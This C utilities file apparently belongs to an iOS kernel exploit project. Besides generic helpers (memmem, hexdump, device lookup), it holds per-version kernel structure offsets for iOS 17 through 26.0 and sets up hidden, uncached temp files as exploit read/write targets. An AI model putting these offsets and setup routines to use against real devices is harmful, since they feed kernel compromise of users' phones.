#include "utils.h"

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include <unistd.h>

void* reverse_memmem(const void* haystack, size_t haystack_len, const void* needle, size_t needle_len) {
    if (needle_len == 0) return (void*)haystack;

    if (haystack_len < needle_len) return NULL;

    const char* h = (const char*)haystack;
    const char* n = (const char*)needle;

    for (size_t i = haystack_len - needle_len + 1; i-- > 0;) {
        if (memcmp(h + i, n, needle_len) == 0) {
            return (void*)(h + i);
        }
    }

    return NULL;
}

void hexdump(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size) {
            printf(" ");
            if ((i + 1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i + 1 == size) {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i + 1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}

// thanks wh1te4ver for offsets
int offsets_init(void) {
    char version[32] = {};
    size_t version_len = sizeof(version);
    sysctlbyname("kern.osproductversion", version, &version_len, NULL, 0);

    sscanf(version, "%d.%d", &g_offsets.ios_major_version, &g_offsets.ios_minor_version);
    LOG("Running on iOS %s", version);

    // same for all
    g_offsets.inpcb_inp_socket = 0x40;
    g_offsets.proc_p_ro = 0x18;
    g_offsets.proc_ro_task = 0x8;
    g_offsets.task_map = 0x28;
    if (OS_VERSION_AT_LEAST(26, 1)) {
        LOG_ERR("Unsupported version: %s", version);
        return -1;
    } else if (OS_VERSION_AT_LEAST(26, 0)) {
        g_offsets.inpcb_icmp6filt = 0x148;
        g_offsets.socket_so_count = 0x23c;
        g_offsets.socket_so_background_thread = 0x298;
        g_offsets.thread_t_ro = 0x390;  // TODO: this changes a lot and with different devices
        g_offsets.thread_ro_proc = 0x18;
    } else if (OS_VERSION_AT_LEAST(18, 0)) {
        g_offsets.inpcb_icmp6filt = 0x148;
        g_offsets.socket_so_count = 0x254;
        g_offsets.socket_so_background_thread = 0x2b0;
        g_offsets.thread_t_ro = 0x378;  // TODO: this changes with 18.1, 18.4, 18.6 and different devices
        g_offsets.thread_ro_proc = 0x18;
    } else if (OS_VERSION_AT_LEAST(17, 4)) {
        g_offsets.inpcb_icmp6filt = 0x148;
        g_offsets.socket_so_count = 0x254;
        g_offsets.socket_so_background_thread = 0x2b0;
        g_offsets.thread_t_ro = 0x3a0;  // TODO: this changes a lot and with different devices
        g_offsets.thread_ro_proc = 0x18;
    } else if (OS_VERSION_AT_LEAST(17, 1)) {
        g_offsets.inpcb_icmp6filt = 0x148;
        g_offsets.socket_so_count = 0x24c;
        g_offsets.socket_so_background_thread = 0x2a8;
        g_offsets.thread_t_ro = 0x368;  // TODO: this changes a lot and with different devices
        g_offsets.thread_ro_proc = 0x18;
    } else {
        g_offsets.inpcb_icmp6filt = 0x150;
        g_offsets.socket_so_count = 0x22c;
        g_offsets.socket_so_background_thread = 0x288;  // TODO: check
        g_offsets.thread_t_ro = 0x358;                  // TODO: this changes a lot and with different devices
        g_offsets.thread_ro_proc = 0x10;
    }
    return 0;
}

char* get_device_machine(void) {
    // identify device
    if (g_ctx.device_machine[0] != '\0') {
        return g_ctx.device_machine;
    }

    struct utsname uts = {};
    uname(&uts);
    snprintf(g_ctx.device_machine, sizeof(g_ctx.device_machine), "%s", uts.machine);
    LOG("Running on %s", g_ctx.device_machine);
    return g_ctx.device_machine;
}

static void create_target_file(char* path) {
    FILE* fp = fopen(path, "wb");
    // default_file_content is set to random marker
    fwrite(g_ctx.default_file_content, 1, g_ctx.target_file_size, fp);
    fclose(fp);
}

void init_target_file(void) {
    // original does calloc, we've already allocated it in the global context, so set both to 0
    memset(g_ctx.read_file_path, 0, sizeof(g_ctx.read_file_path));
    memset(g_ctx.write_file_path, 0, sizeof(g_ctx.write_file_path));
    confstr(_CS_DARWIN_USER_TEMP_DIR, g_ctx.read_file_path, sizeof(g_ctx.read_file_path));
    confstr(_CS_DARWIN_USER_TEMP_DIR, g_ctx.write_file_path, sizeof(g_ctx.write_file_path));
    snprintf(g_ctx.read_file_path + strlen(g_ctx.read_file_path), sizeof(g_ctx.read_file_path) - strlen(g_ctx.read_file_path), "/%08x", arc4random());
    snprintf(g_ctx.write_file_path + strlen(g_ctx.write_file_path), sizeof(g_ctx.write_file_path) - strlen(g_ctx.write_file_path), "/%08x", arc4random());

    // creates file at temp
    create_target_file(g_ctx.read_file_path);
    create_target_file(g_ctx.write_file_path);

    g_ctx.read_fd = open(g_ctx.read_file_path, O_RDWR);
    g_ctx.write_fd = open(g_ctx.write_file_path, O_RDWR);

    LOG("read_fd: %x", g_ctx.read_fd);
    LOG("write_fd: %x", g_ctx.write_fd);

    // files will be deleted when fd is closed
    remove(g_ctx.read_file_path);
    remove(g_ctx.write_file_path);

    // no cache
    fcntl(g_ctx.read_fd, F_NOCACHE, 1);
    fcntl(g_ctx.write_fd, F_NOCACHE, 1);
}
